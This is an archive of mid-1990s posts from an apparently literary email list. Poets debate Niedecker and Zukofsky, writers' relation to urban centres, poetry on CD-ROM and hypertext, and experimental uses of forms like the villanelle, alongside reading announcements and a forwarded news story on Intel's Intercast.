> *Missoula is a lovely town, not unlike Boulder.*

Since most writers I know in NY or SF are not natives there, shall I assume they have been exiled there? and that such exile is pleasant or unpleasant?

And thanks, Ron, Missoula is lovely. as is southern Wisconsin, where Lorine lived.

charles

↑ Index

493. **Charles Smith**
Re: LN & LZ
Sat 21 Oct 1995

By using the word "cosmopolitan," I wasn't really referring to an urban/rural or mid-west/coastal split, but simply that Niedecker had a firm grasp on current international literary trends (long before she met LZ). Penberthy's quite convincing that her early interest in surrealism is sustained throughout her career, despite Zukofsky's desire to wean her from it.

Charles Alexander is quite correct that writers can be cutting-edge no matter where they live. The geographical spread of this list provides ample testimony. Even Kansas: there's Ron Johnson & Ken Irby. Cultural centers, be they NY, Paris, or SF, always seem to think they're more important than is actually the case.

all best,
Charles Smith

↑ Index

494. **Chris Stroffolino**
Re: Respelling LZ
Sat 21 Oct 1995

Ginsberg, Gunsberg--
I still say LOUIE rather than LOUIS too, so there!

↑ Index

495. **Chris Stroffolino**
Re: Niedecker and Zukofsky
Sat 21 Oct 1995

dear mark scroggins---do you really see PLACE as that big in Zuk's work? It seems more bookish---now NYC is the book capital allegedly (i mean publishing--even if the bookstores increasingly suck--), but... (it always seemed to me that he could have written them in INDIANA and followed LN....). cs

↑ Index

496. Chris Stroffolino

outpost entropy, etc.

Sat 21 Oct 1995

Well, I don't know if this is "the next KEVIN DAVIES" or anything, but I received the first issue today of a magazine from an old dear friend in a small town in PA. and she is definitely looking for submissions from people other than the "local yokels" and so this list seemed a highly fitting place to start i thought--- Anyway, the magazine is called "OUTPOST ENTROPY" and though I don't wish to speak for the editor's taste, I will quote in part from the letter she sent me today: :By the way I watched Louis Farrakhan speak to the million man march today---very interesting to say the least--insightful, highly, in certain ways, lots of strawmen and specious reasoning though. He gave a speech/sermon specifically tailored to appear to be for black men, yet it was generalizing enough to appeal to ANYONE margin- alized in this society and subsequently malcontent...." Okay---Not that she's JUST a politico---She likes Ashbery too... Anyway---in the wake of the near death i hear of THE IMPERCIPIENT-- you should all send to: OUTPOST ENTROPY c/o C.Kaucher 226 W. Main St. Kutztwon, Pa. 19530.

Also, I wanted to make a correction addition to the note posted by Bill CLinton's house saxophonist, Kenny G., about the poetry reading to benefit LINGO mag that will be held here in Albany, NY--- "the weakness of an albany" as Olson would say-- exactly a week from today 10-28-- Aside from myself, Jean Donnelley, Juliana s. lisa j., michael g., linda s. and the local blues band fb&c there will also be featured ROD SMITH---yes ROD "Aerial/edge" SMITH---or RODOMY as they say in PRI. For any info--feel free to call me at 518-He-Binge..... chris stroffolino

↑ Index

497. Jordan Davis

my place is better than your place

Sat 21 Oct 1995

Charles Alexander wrote:

> *Since most writers I know in NY or SF are not natives there, shall I assume they have been exiled there? and that such exile is pleasant or unpleasant?*

Born and raised in NY. Live here now. All place is exile.

Jordan

↑ Index

498. B. Cassidy
Voice synth.
Sat 21 Oct 1995

Sorry to burden the whole list with this request....But...

A week or so ago, someone mentioned a text to computerized voice convertor...I'm afriad I can't remeber who that was...Anyway, I used to have one of those (years ago) for my Apple, but had forgotten about it until it was recently brought up again. I would like to get my hands on one (ftp/gopher searches have been unfruitful). Could whoever it was who mentioned it please backchannel me w/info on what they're using/where I could get my hands on it? Thanks...

--Brian

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499. Ron Silliman
Metroplex
Sun 22 Oct 1995

Charles Smith argues, reasonably, that
>
"Charles Alexander is quite correct that writers can be cutting-edge no matter where they live. The geographical spread of this list provides ample testimony. Even Kansas: there's Ron Johnson & Ken Irby. Cultural centers, be they NY, Paris, or SF, always seem to think they're more important than is actually the case."

Given how much the NY School depended on Tulsa, OK, the case is proven. But, historically, metro centers have proven vital primarily because they brought people into contact. Ken Irby was the first poet I ever saw, a regular at the Med coffee house on Telegraph Ave in Berkeley circa '64, writing into a notebook. Johnson was introduced to large portions of the literary universe by Jonathon Williams (a cultural center all by himself wherever he happens to be), then lived for 20 years in SF. Last time I talked with Kenneth, a little over a year ago, he had seen Johnson exactly once since he'd moved back to Kansas.

Older writers have (again, historically) needed that sort of contact far less than younger ones. The constant contact of a scene helps younger ones to define themselves as poets, to push themselves further than they might have gone under other circumstances. Certainly there are poets in In the American Tree who might never have published, let alone widely, had they lived all their lives in Missoula. And the relative obscurity, say, of Paul Piper (a fine experimental poet long active in Missoula) to some degree proves the point.

The internet and the communications revolution that it offers (this here list is a model T compared to what will be coming in 5 to 10 years) may well change this. And if it means that poets need not be isolated due to geographic remoteness, well then it's a good thing.

Ron

↑ Index

500. Beth Russell
cats
Sun 22 Oct 1995

Dodie Bellamy, I've often felt that my cat, Mojo, was "channeled by satan"....speaking of computer divination, have you seen/used the _I Ching_ (or Book of Changes) program? Also, there is Tarot on the Web...the mystics are becoming cyber-ized....which may not be a _bad_ thing altogether...

Beth

↑ Index

501. Beth Russell
"creative"/theoretical
Sun 22 Oct 1995

Specifically to Maria Damon....although I have little experience (or none) teaching at the level of the university, I must say that I've heard and felt much angst from fellow students abt. the creative/theoretical split w/in workshops, etc. Some feel that theory-people get _out of hand_ or tend to dominate discussion w/solely theoretical constructs...and the folks who would rathr focus on the _writing_ aspect feel the workshop turns into a seminar or colloquia...seems to me (and I do agree w/you about bringing in say, foucault, marx, etc) there _should_ be an exploration into _all_ methods of discourse, for this certainly enriches the praxis of creating, writing/sound/visual mediums. I think of the San Fransisco _movement_, Spicer, Duncan, Blaser, et al and how their pedagogical ideas/methds were worked into the process of thinking/writing/creating.. I mean, what are the limits? I do feel, however, a need for a _balance_ w/in the _conventional_ classroom, just speaking from my experiences w/in the state university of new york system...a balance within the types of discourse or _theory_ used and the discussion of the student's writing... hoping to make sense, Beth

↑ Index

502. Kenneth Sherwood

Zukofsky's Urban NY

Sun 22 Oct 1995

Placing Zukofsky

Partly a walk through the city, A13 is a primary site of the urban in Zukosfky:

from A13
--Yes, he was thrown in a heap
Out of Carnegie Hall for yelling
...
Twenty years since I've walked
From 12 Street home all the way
Across Brooklyn Bridge.
...
The old Fire House museum on Duane Street.
...
We saw the rat lofts on Greene Street
...
The Triangle fire how many corpses
Hasn't burnt them--fire traps, rat lofts
Iron-doored, boarded--at last--coming down.
In the infants and ladies whitegoods, shoddy remnant
textile district
The risen arcades of Richardson's spacious windows
Persist stacking relrected formations of clouds over
Lower Broadway
...
Linen against an elegance when the Mews were still real stables
Behind the *American Classical* of Wasthington Square.
...
That bridges to span it
piers and boats,
...
Waterfront
Of the fantastic island
To the North
That but for a little green
Is entirely buidlings
And pavement
...
Watched over
By the Empire State

There are plenty of other explicitly (ie referentially) urban moments in Zukofksy, which is not even addressing (as Ahearn argues) the issues of Yiddish theatre and poetry influence [cf. Yehoash] or growing up in neighborhood of 300,000 persons/sq.mile with respect to voices, immigration, native languages etc. [e.g."We had a Speech, our children have evolved a jargon." A4] Also in the shorter poems: "The Heights", "N.Y.", "Imitation", "During the Passaic Strike of 1926"(which begins: "There are two vaults left in St. Mark's-on-the-Bouwerie"), "Ferry", "Cocktails", "The Old Poet Moves to a New Apartment 14 Times" etc.

A1
Smoke sooting skyscraper chimneys,
...
Remembering love in a taxi
...
A5
A cigarette,
Leaf-edge, burning
obliquely urban,
...
He-er vent Hel-ee-na squat from our sidewalks.
...

Speech bewailing a Wall,
Night of economic extinctions [wailing wall/wall speech/wall st.]
...

A6
And the--the--the very old stuttereres, mumbletypeg
in duplex Park Av. apartements
...
A8
No. 151 Waters St., New York
...
A12
The Barouqe bulding
That curces with Broadway
Across fromthe Customs House
Still standing,
All the streets
From the Battery to 14th
Filled as they were
All those from 14th
To 23rd the same
And Metropolitan Life's tower

...
On the third floor
Of our Brooklyn brownstone
...
A boy of four,
Manhattan 40 years ago,
Felicia, a young mother
Among other poor characters
When metal sinks had pubmps,
Three flights of stairs down to
A sort of barracks of johns.
...
Refuse pipes tower above roofs,
Queensboro Bridge lighted above a row of
Low blacked out riverfront houses
...
My mother say away from the stoop,
the new bridge going up,
To catch her breath in the hottest summer
Some old landwmarks down
The bridge is aging...

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503. **eric pape**
Re: The Art and Poetry worlds
Sun 22 Oct 1995

Uh, yeah. Okay.
I think (but I am not sure) that I agree with you and you agree with me. Poet is an affect (effect).

All I meant was that the idea of a poet only comes about when the idea of individual creation comes about. IE, for the most part, the "creators" of Illiad, Beowulf, etc. would not consider themselves creators as such. It seems as if in fact they used formulas, linguistic, narrative, etc. to complete their work which apparently changed from performance to performance.

This is all part of my continuing obsession with stating the obvious.

When the idea of poets come into being, they have already joined the court. Since then, it is amazing how many poets have pined over reactionary, imaginary fantasies of the past, childhood, nature, fairies. There are always exceptions, but those, I think, represent an emerging class, such as Milton, or maybe even Blake.

Having said so, and lets not forget where this discussion started, I do think that poetry, in its connection to both language and sexuality, because I think the most inclusive definition of poetry is simply something like tropic play (although I don't think we can pretend that everyone thought so) that poetry rehearses a possibility of profound criticism.

In other words, something like, poetry offers a way to imagine something else....

Thanks, Eric.

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504. Chris Stroffolino

Re: Metroplex

Sun 22 Oct 1995

Dear Ron (and others): Even before the "communications revolution" there seems to have been a decided shift away from metroplex centers for poets. Certainly in my generation, there has been much less incentive to live in NYC, SF and Chicago for instance (in part because of $$$ and in part because there's hardly viable academic institutions there) than other places--and this is even amongst more urban-oriented sensib- ilities it seems to me. Chris Stroffolino

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505. FUNKHOUSER CHRISTOPH

cd-ro(a)m

Mon 23 Oct 1995

---

wanted

to try a response to Carolyn's posting from a couple of days ago, & wishing her message were here to quote - it was an update & description of a cd-rom project for _The Country Between Us_ -- she mentions she is more interested in hypertext than cd-rom, among other things. . .

to agree there are a lot of foibles and difficulties with digital multimedia technology as is. & that the "talking head" motif definitely stales quickly.

to couple thoughts about the translation of writing into the new media, because I think there are plusses & possibilities in "cd-rom" & whatever it becomes. Of course, "hypertext" & html bring numerous agreeably exciting paths to follow. hopefully someone's reading along them, and there is depth to it. perhaps complicating matters (a bit) along the way, some computers allow texts to engage image, sound, and symbol on the computer screen - reading words attached to sounds attached to images, and so on.

to say i was thinking of carolyn's project & quick ideas as to what could be done with it instead of just having CF on the screen looking like she's lip-synching her poems (this is what most of _Poetry In Motion_ amounts to -- & even if the poetry/words are stellar, it's almost comical to watch the writers so prosthetic!). A few things come to mind. To widen the scope of the text you could link the poems to corresponding journal entries, letters, or images of the people/places you're writing about, to give further depth of process. your voicings of the poems could be continuous or discrete, & you'd have the words as they appear in the book, you could put in drafts of the poems (illustrating processual dimensions for scholars & others curious). you could put in there other textual interconnections, like research done on El Salvador (evidence), interviews done with writers & people of central america, and so on. there could be another section of the text which places the poems in context of other poems which have been written out of similar circumstances or are otherwise stylistically connected (I like how the annotated _HOWL_ has this). where what might be unfamiliar words, phrases, or languages, or where the words are associated with a particular history, a reader could access reference/background information via direct link (instant index). this seems like simple stuff so far. it'd be great to have a lot of cultural - historical contextualization in there - the stuff about which people feel so impassioned - the materials which attracted you this culture. do you see as much pedagogical value in this as i do?

A lot of information can be stored on these plastic discs, so what we're conceiving is an expanded book -- and more than a book (or video)-on-tape with bibliography. Yes, the technical difficulties are preventative. However, we're years from realizing a finalized formula for producing writing in this media. There are limits to what the technology will do, but really the biggest limitation, as far as I can tell, so far, is the lack of applied thought in engineering literature for hypermedia. This will change. However, so far, most of the people creating literary publications using digital multimedia haven't really begun to challenge themselves to produce poetry in more than a perfunctory manner.* In other words, most titles commercially produced thus far are severely lacking with regards to imaginatively using the media (again, at least as far as literature goes ((& maybe "literature" isn't well suited for multimedia translation?)). not that i'd suggest that the recently produced Little Magazine cd-rom uses the form with admirable vision either, but we did make a steady effort to project the "writing" presented with a variety of approaches & allowed interpretive rather than (or, in addition to) literal renderings of poems on the screen throughout the magazine.

There probably hasn't been much significant exploration/discovery with experiments in "poetry" and "cyberspace", though the EPC might be proven an

exception to this statement. R. Bertholf & co. at the Poetry Archive are working on what could be an amazing hypertext of _Ulysses_ , with visual & hypertext aspects. perhaps there are other important projects happening? Recently I heard that the poet R. Tillingast, at U of Michigan, is getting 5 million dollars from Time- Warner to make a cd-rom of poets writing verse which emanates from the art in the museum at Ann Arbor. It'll be interesting to see what ways people find to present/publish work implementing new forms in the decades ahead.

*For instance, with some friends watched _Poetry in Motion II_ yesterday & it is indeed slick & a full plate of little quirky videos of the poets in performance and interview scenarios. (Bob Holman looking younger, wilder and all in all more like a furry rodent than he does now). All of the pieces share the same basic design -- there's a uniform template upon which all the words and video sections appear: video segments on the left of the screen, words to the right. there are two versions of each alphabetic text for a reader to choose from, the "printed" version (ie how it appears in the author's book), and the "performed" version (which is usually quite similar to the "printed" version) - so nothing remotely groundbreaking here. Every "video" shows the author performing her/his writing in documentary type performance segments. There are bibliographies and minimal biographical information, and a brief introduction by Robert Creeley, none of these features make use of sophisticated multimedia devicing.

Chris Funkhouser, Albany NY
[redacted]

↑ Index

506. **Charles Alexander**
Re: cd-ro(a)m
Mon 23 Oct 1995

It's fascinating to read the various threads of the discussion of poetry on cd-rom, hypertext, online, etc., particularly Christopher Funkhouser's most recent post, with its notion that the possibilities are untapped as of yet. Because it seems to me that we are also far from completely fulfilling (particularly in poetry publications) the possibilities of the technology of the book as well. I don't know what this may suggest for creative use of electronic media in years to come, that the book settled, perhaps rather early in its history, for a rather limited use of its possibilities. Will electronic media do so as well? Will books wake up and continue to expand?

charles

↑ Index

507. **Chris Stroffolino**
Re: cd-ro(a)m
Mon 23 Oct 1995

Charles A. wrote "Will books wake up and continue to expand?" Oh no, sounds like the beginning of the RENGA!-----cs.

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508. **Gabrielle Welford**
Re: cd-ro(a)m
Mon 23 Oct 1995

On Sun, 22 Oct 1995, Chris Stroffolino wrote:

> *Charles A. wrote "Will books wake up and continue to expand?"*
> *Oh no, sounds like the beginning of the RENGA!-----cs.*
> *lewis offered meek lettuce*

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509. **Ron Silliman**
Re: Metroplex
Mon 23 Oct 1995

You wrote:
>
> Dear Ron (and others): Even before the "communications revolution"
> there seems to have been a decided shift away from metroplex centers
> for poets. Certainly in my generation, there has been much less
incentive
> to live in NYC, SF and Chicago for instance (in part because of $$$
and
> in part because there's hardly viable academic institutions there)
> than other places--and this is even amongst more urban-oriented
sensib-
> ilities it seems to me. Chris Stroffolino
>
Certainly as late as the 60s and 70s, there was a decided tension
between versions of an avant-garde tradition and those "viable academic
institutions" of the world. Neither the NY School nor the SF
Renaissance depended very much on teaching for a living (Koch being the
notable exception), at least at that point. The Black Mountain poets
did, and it accounted to some degree for their greater geographic
dispersal.

For poets who thought of teaching, then, the problem was one of not just getting the degree and then a job, but also recognizing how the academic process would tend to send one outward, to the suburbs and hinterlands. For several, that seemed too high a price to pay. One reason many poets have ended up, say, in the computer industry is that one has much greater control over where to live (not to mention better working conditions and better pay).

As programs emerged that were not actively hostile to progressive interpretations of literature (UC San Diego, Naropa, New College, then Buffalo, Brown, Bard, etc.), it dramatically altered the world for younger poets, who no longer needed to wade through an actively hostile environment for benefit of a degree.

San Francisco State has had many terrific poets among its students not because it's creative writing program is any good (it's dismal and has been dismal for 30 years) or because the poets emerging from it get jobs (very few do), but because young poets were able to convince themselves and/or their parents that it was the viable means for getting to San Francisco. Wouldn't shock me to learn the same of the program at Columbia.

Ron

↑ Index

510. **R I Caddel**
Niedecker/Zukofsky
Mon 23 Oct 1995

Misspellings come and go (and let's add Rupert Brooke to our list of recent Poetics list casualties) and don't really hurt - why, Aneirin's circulation is way up on anything he had in his lifetime, and a quick count suggests four published versions of his name...

But the generalisations about LN's homeworld, and the disparaging tone of phrases like "sad little shack" and "the poorness of the lives" are more important: (a) they show a real failing to read LN, her enduring commitment to and concern for that place and its lifeforms, as it's asserted over and over in the poems (and for those who still won't trust poems, it's in her letters too) (b) they suggest a failure to read the lives of the people who live there at other than the most superficial level (in the manner of those papers of central government which outline the case for the "resettlement of the rural poor") (c) they contribute, albeit unwittingly, to the continuing patronisation (sic) and writing-down of Niedecker's achievement as "poor little home-body" or "mute inglorious milton" - in a way which I find unsupportable.

A sympathetic, unblinkered reading of the place would be a valuable asset in reading Niedecker. I worry that such a reading becomes less likely between the local heritage brigade and the blank incomprehension of tourists.

x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

511. **cris cheek**
Re: desire / and the 39 steps
Mon 23 Oct 1995

---

scorn, culling her unguent sheets - what a sickening, cloyish expression - she pastes these letters with her bloody fingers dabbed from flour and sugar onto fog-bloomed film. fireworks bring fibre to earth, usher materials boiled from glossy taxonomies into theme.

↑ Index

512. **Mark Wallace**
BAAAAAAD villanelle!
Mon 23 Oct 1995

I'd love some response to the following dilemma, since I'm not totally sure what I make of it:

Here's the scene: a small, friendly discussion among several poets after a reading in Washington, D.C. I put forward the notion that experimental innovation is actually possible with forms regularly considered "traditional", that is, that one can actually use things like villanelles and sonnets in potentially intriguing ways. I am told kindly, but firmly, that I am incorrect--these forms are dead, over and done with, BAAAAAAD, just plain too closed to merit further discussion. (I won't say who told me I was incorrect, but since some of them are on this list, I'd love for them to jump in--it was without doubt a friendly discussion, so the difference here is not at all a personal one).

I protest, giving some examples (Ashbery's double sestina in FLOW CHART), not giving some more effective examples that I might have used--from those terrible neo-formalists Bernadette Mayer and Ted Berrigan (who published sonnets) or the unregenerate conservatism of a poet like Charles Bernstein who's actually WRITTEN, may God forgive him, a villanelle--"Thrush"--. My

examples are not persuasive to the gathered group (I even mentioned Henry James, saying it wasn't clear to me that James "realism" had as its only fuction the maintaining of the "dominant representational culture", but hey, I think Shakespeare's pretty radical too), and at this point I am told that I'm actually in danger of siding with people like Mark Strand if I don't watch out.

So, what does anyone think? Is the mere use of some forms destined to sully one as an anti-innovative neo-formalist? Is my raising such a question evidence of my "drifting over to the other camp (this is a war here boy, and don't you forget it!)." Can villanelles or sonnets be used experimentally, or not? Is a form itself BAAAAAAD, or is there some truth to my perception that it's not the form itself, but the people who promote certain forms in certain ways that are really the problem?

It used to be true that traditional formalists were the only people who could tell others what forms they cant use. Now, in some cases anyway, avant garde poets can also tell people what they can't do. Is this progress? Some day I want to ask a poet the question "what can I do with poetry?" and have the answer be something other than "The only thing you can do is what I'm doing already."

I hope the people who were part of this discussion will understand that i'm saying this here in a friendly spirit, albeit perhaps a mischevious one.

On a related subject, I think Ron Silliman has an excellent point when he says that we need to historicize the role that "theory" has played in experimental poetries. The freedom that literary theory allowed poets like Ron was crucial, and to some extent, literary theory still allows that freedom. But now that "theory" is such a definite part of any sophisticated graduate school experience, it's hard to see it simply as "freeing." Some people may argue that literary theory is not responsible for its codification inside American academies, but on the other hand, it's hard not to think that the obvious "authority" of tone in writers like Derrida, Foucault, Lacan, D and G, Lyotard, etc, is to some extent complicitious with the authority-making process of intellectual reputations and academic power, although the insight such writers allow are unquestionably crucial. But I think of William Burroughs response to someone who said "The Christian God is not responsible for what has been done in His name," which was "A God is ALWAYS responsible for his followers." To what extent is a text responsible for what can be done with it?

Ah well. Perhaps one generation's freedom is always the next generation's burden.

mark wallace

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513. Mark Wallace
D.C. poets
Mon 23 Oct 1995

Will those poets on the poetics list who live in or around Washington, D.C. please send me their e-mail addresses? I'm compiling a list of such addresses so we can all be better informed about various D.C. poetry and other events.

mark wallace

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514. Gale Nelson
Re: BAAAAAAD villanelle!
Mon 23 Oct 1995

Mark,

I would add to your list of innovative formal undertakings:

* Queneau's Sonnets -- 10 to the 14th power [probability suggests that many of his sonnets have never actually been read]

* Robinson's Six Sonnets & Eight Etudes -- the etudes are less form driven than the sonnets, but are mentioned here nonetheless...

* Perec's La Disparation -- a lippogrammatic novel (may be suspect among those who don't approve of prose)

* Waldrop's Anagrams

* Mathews' Eye- Rhyme Sonnets -- the "rhyme words" appear to the eye only as rhymes

Gale Nelson

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515. Jordan Davis
Re: BAAAAAAD ass song
Mon 23 Oct 1995

Mark,

One could be old-fashioned and insist that you have to follow the path of most resistance--pick up your copy of the Handbook of Poetic Forms by e-mailing to

yours truly at Teachers & Writers Collaborative--and then one could opt for an even more out-of-date path... e.g. do what you want to when you want to if you can hear how to... discussions among poets about what is and isn't possible... are nonsense

Jordan

↑ Index

516. Jordan Davis
Re: BAAAAAAD ass song
Mon 23 Oct 1995

Mark

Omitted my last sentence: "Of course, nonsense can be productive."

Jordan

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517. Herb Levy
Cage Fest @ Mills, Olson? at Huddersfield
Mon 23 Oct 1995

Two disparate events announcements (one with a question) that folks here may be interested in.

From November 15-19 at Mills College in Oakland, there's what looks to be a very good conference/festival devoted to the work of John Cage with papers, performances, films, etc, with much reference to his verbal works as well as his musical ones. There's a vast amount of information on the event at:

http://newalbion.com/artists/cagej/herecomes.html

Also, I just received a mailing from the British Society for the Promotion of New Music that includes an advert for the Huddersfield Contemporary Music Festival (over the same weekend) including the 2nd performance anywhere of a 1966 work by Terry Riley called Olson III for chorus.

I've seen scant references to this work before, & the other new music folks I've asked can't answer this, so does anyone on poetics know if the piece uses a text by Charles Olson & if so which text?

Thanks

Herb Levy
[redacted]

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518. **Herb Levy**
Oracles on the Internet
Mon 23 Oct 1995

Beth, & Dodie -

Don't forget the most ancient & revered oracle who inhabits the internet itself. The Usenet Oracle will answer any question you have in return for doing it a kindness (usually this entails answering a question).

Much lore about this tradition is to be found at the following URL:

http://www.pcnet.com/~stenor/oracle/

> *Dodie Bellamy, I've often felt that my cat, Mojo, was "channeled by satan"....speaking of computer divination, have you seen/used the _I Ching_ (or Book of Changes) program? Also, there is Tarot on the Web...the mystics are becoming cyber-ized....which may not be a _bad_ thing altogether...*
>
> *Beth*

Herb Levy
[redacted]

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519. **Dodie Bellamy**
Re: Niedecker/Zukofsky
Mon 23 Oct 1995

Richard Cadel wrote:

"But the generalisations about LN's homeworld, and the disparaging tone of phrases like "sad little shack" and "the poorness of the lives" are more important: (a) they show a real failing to read LN, her enduring commitment to and concern for that place and its lifeforms, as it's asserted over and over in the poems (and for those who still won't trust poems, it's in her letters too) (b) they suggest a failure to read the lives of the people who live there at other than the most superficial level (in the manner of those papers of central government which outline the case for the "resettlement of the rural poor") (c) they contribute, albeit unwittingly, to the continuing patronisation (sic) and writing-down of Niedecker's achievement as "poor little home-body" or "mute inglorious milton" - in a way which I find unsupportable.

A sympathetic, unblinkered reading of the place would be a valuable asset in reading Niedecker. I worry that such a reading becomes less likely between the local heritage brigade and the blank incomprehension of tourists."

Obviously this is addressed to my post, but rather than making a personal address, Richard decided to use to use a larger more patronizing (sic) tone in responding. I don't think I said anything disparaging about Niedecker or the people who live there. I don't know the people who live there, but it's clear that compared to the middle class lives of most of the poets I know, their lives are quite humble, and Niedecker's cottage is not some Romantic little fairy tale hut, especially now that it hasn't been kept up for years--it looks like my father's tool shed. In my post I was determinately giving a slightly-parodied version of my experience as a tourist confronting the romance of her myth. It was in a way a revisioning her, of turning her from the "old lady who writes nature poems" into a kind of lusty Barbara Stanwick figure.

I never heard of Niedecker until the early 80s, when we studied her in Kathleen Fraser's (or is it Frazier's? tee hee) Feminist Poetics class. Each woman in the class of thirty or so had to prepare a class presentation on a woman poet. Kathleen handed out a list of women poets that was passed from one student to another. You were to pick the woman poet you wanted to report on and place your name next to hers. The list started with the woman next to me and went around the room in the opposite direction, so that I was the last to sign my name. The only poet left on the list was LN. "Shit" I thought as I jotted my name besides hers. Back then I was still pretty wild and relatively young--I couldn't think of anything more boring than reading LN. But, Kathleen was gently encouraging and very helpful, pointing me to sources, lending me books. Niedecker's surface was hard to penetrate, but gradually her work opened to me, and the more I read her, the more I appreciated her. I still don't exactly adore her, but I do read her with great fondess and respect.

Richard must know who the people are who doesn't take Niedecker seriously, since everybody I know (who's heard of her) takes her quite seriously. I think that Niedecker's not being taken seriously as a writer, by whomever, is not a historical anomaly. Isn't the traditional position of women--as that of little figures in the midst of big movements?

Dodie Bellamy

p.s. Someone pointed out to me that when I wrote in a previous post "cream puffs as big as your head" it sounded like I meant a specific person's head. In fact, I meant "cream puffs as big as one's head." I apologize if I ruffled any feathers with my sloppy language.

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520. **Bill Luoma**
vertical Blanking interval
Mon 23 Oct 1995

INTEL ANNOUNCES PC-TV MARRIAGE 10/23/95

By JOHN MARKOFF
New York Times

In a step toward blending the personal computer and the Internet with broadcast television, Intel Corp. and many of the nation's largest personal computer makers and television broadcasters today announced a new technology to allow broadcasters to deliver computer data along with their television programs.

Intercast, which was developed by Intel researchers over the past two years, will allow broadcasters to transmit data in a portion of the television signal known as the vertical blanking interval -- at speeds almost four times as fast as the fastest available modems now used to send personal computer data to the home.

The data would be transmitted in the blank lines visible to television viewers only when their sets are on the fritz. This bank of 10 or so lines is isolated at one end of the television image, and out of the frame of a television set that is operating normally. Each of these lines can be used to transmit data at a speed of 9,600 bits a second.

Although the system is based on a one-way broadcast model and the television signals would be pulled in by a standard television tuner, the data will be delivered in the form of World Wide Web pages, permitting interactivity through conventional Internet access.

Twelve concerns are endorsing the new standard: Packard Bell and Gateway 2000, which both plan on including the hardware necessary to receive the Intercast signals in computers they will sell next year; the broadcasters NBC, CNN, QVC and WGBH, the Boston PBS station; the cable operators Viacom and Comcast, the on-line service provider America Online and the software developers Asymetrix, En Technology and Netscape Communications.

Intel has made the standard as open as possible -- meaning that other manufacturers can adopt the system without needing licensing agreements -- and would not derive any revenue directly from the technology. The company would make money as customers bought more personal computers and thus more Intel microprocessors.

The technology, which now requires about $50 to $60 worth of parts, consists of a chip that converts the analog television signal into digital images that can

be displayed on a computer, and a television receiver that picks up the signals of broadcast or cable outlets.

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521. **Rod Smith**
Re: BAAAAAAD villanelle!
Mon 23 Oct 1995

The discussion Mark is mentioning was a bit more complex than he's rhetorically reconstructed it for list consumption. One of the questions being "do certain forms reinscribe dominant cultural norms" & the other side of that "can new forms play a role in altering those forms."

I tend to believe that new forms can & do play a role in changing individual perceptions of the world, & therefore if experienced by enough people (experienced through participation, rather than observation)-- *might* conceivably play some role in changing the social interaction of individuals.

Perhaps the point to be made with regard to teaching is that intentions are primary-- if new forms are treated as old forms have been-- as unquestioned models to be copied-- we're not really moving in a desirable direction. Perhaps the "jazz" workshop described on this list in which poets wrote poems in response to each others work, rather than relying on discursive critique-- is an example of open form for the classroom, as projective verse is an example of open form for the page. So no form can be seen as inherently superior-- it's meaning is it's use. As unfortunately, our meaning (in many but not all ways) is our use by the workplace. In our current context it seems to me certain forms can lead us toward perceptions of life as process rather than predetermined value, & (O utopian fool!) toward seeing that people matter more than money.

--Rod

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522. **Rod Smith**
Recent DC readings
Mon 23 Oct 1995

To mention some recent DC readings-- Joan Retallack & Carolyn Forche read yesterday to much appreciation. Joan reading from _A F T E R R I M A G E S_, the highlight for me being "ICARUS FFFFFalling"-- which wound about in pig-latinate first-rate well-paced portent. Carolyn read from _The Angel of History_ & a few "outtakes" which seemed in the air at least-- as though they cld have been inclusions. The highlight for me being the final section, "Book Codes" -- I've always been impressed by the complex populism of her work, and her

ability to sustain that while moving into an interest in fragmention(s) is satisfying & promising.

Week ago Jordan Davis & Bill Luoma gave us an NYC instance-- both funny, very. & laid back & lyric in that remapped gramatic
& lastingly undidactic kinda sorta way.

Same weekend Barrett Watten regaled us with a new piece called "Ambivalent About Poetry" -- short in duration, visual, & replete. Also read new & old "Bad History"(s)-- a favorite of mine being on the Bay Area area code "415/510" schism. Bits of _Leningrad_, & the _Aerial_ frontispiece (which I was glad to hear as I hadn't been sure of my decoding of some of his handwriting.) BW's insistent critique of "the pointilist economy" continues.

I had my first slam appearance last night, read some collaborations & my prayer for the "On Your Knees, Citizen" project for the _New Censorship_ (yes, that is going to happen, thanks to those that sent "prayers"). & then did a multi-voice bit with help from Mark Wallace, Heather Fuller, & Buck Downs. A few of the lines flying about the room included: "Coca Cola Classic Tastes Just Like Chicken," "I hereby declare bankruptcy on my emotional debts," "411 is a joke," & the inimitable David Ayre's deeply felt "I'm tired of grumpy virgins."

Comin' up: Michael Basinski and a cast of thousands at Ruthless Grip (near 15th & U), November 11th at 7:30. Rosmarie Waldrop at Bridge Street Books (near 28th & Pennsylvania) November 14th at 8 PM. Ya'll come.

--Rod

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523. **Beth Russell**

Re: metroplex

Mon 23 Oct 1995

Chris Stroffolino-- I'm not sure I understand your definition of "metroplex", because, for me the metroplex remains synonymous with the "mall" or downtown movie theaters that used to have one huge screen and now have 8 miniature screens. However i do sense that you mean "mega-urban" area when you say "metroplex". And, maybe you could clarify your reason for stating that _poets_ have shifted away from these areas. Also, why do you state "there's hardly viable academic institutions there" (meaning urban areas)? Of course, your points interest me and i'd just like to uncover the specifics of "why".

beth

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524. Mark Scroggins
Re: Niedecker/Zukofsky
Mon 23 Oct 1995

Dodie:

of course, Ric Caddel, when referring to those who didn't take LN seriously, meant mostly Donald Davie.

Chris:

Ken Sherwood cited most of the stuff I would have used to argue for LZ as a New York poet; maybe the poetics themselves could have come out of _any_ environment (tho I bet that can be argued too--imagine Wordsworth's "fittings" coming out of 18th century London, if you can), but the poems are surely urban.

Mark

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525. Mark Roberts
AWOL: CROSSING PRESS
Mon 23 Oct 1995

Crossing Press present THE TURNING WAVE: VERSE AND SONG OF IRISH AUSTRALIA

Crossing Press are seeking people to support the publication of the first anthology of Irish Australian poetry and ballads.

'The first anthology of Irish Australian poetry and ballads reflects the influence of Ireland and the Irish on Australia and Australians. The collection contains material from the earliest convict settlers, through the nineteenth century, as well as the work of contemporary writers who express a consciousness of Irish background. Henry Lawson is represented alongside 'Frank the Poet' Frank MacNamara, because both illuminate the influence of the Irish in Australia. The book will contain over 170 items from more than 100 poets and will be edited by the Sydney based poet, biographer and creative writing teacher Colleen Burke and the Irish based writer, dramatist poet and broadcaster Vincent Woods.

Gold subscribers (Aust $100) will receive 1 hard copy and 2 soft cover versions of THE TURNING WAVE

Silver subscribers (Aust $50) will receive 1 hard copy version of THE TURNING WAVE.

For further information contact: Crossing Press PO Box 1137 Darlinghurst NSW 2010,
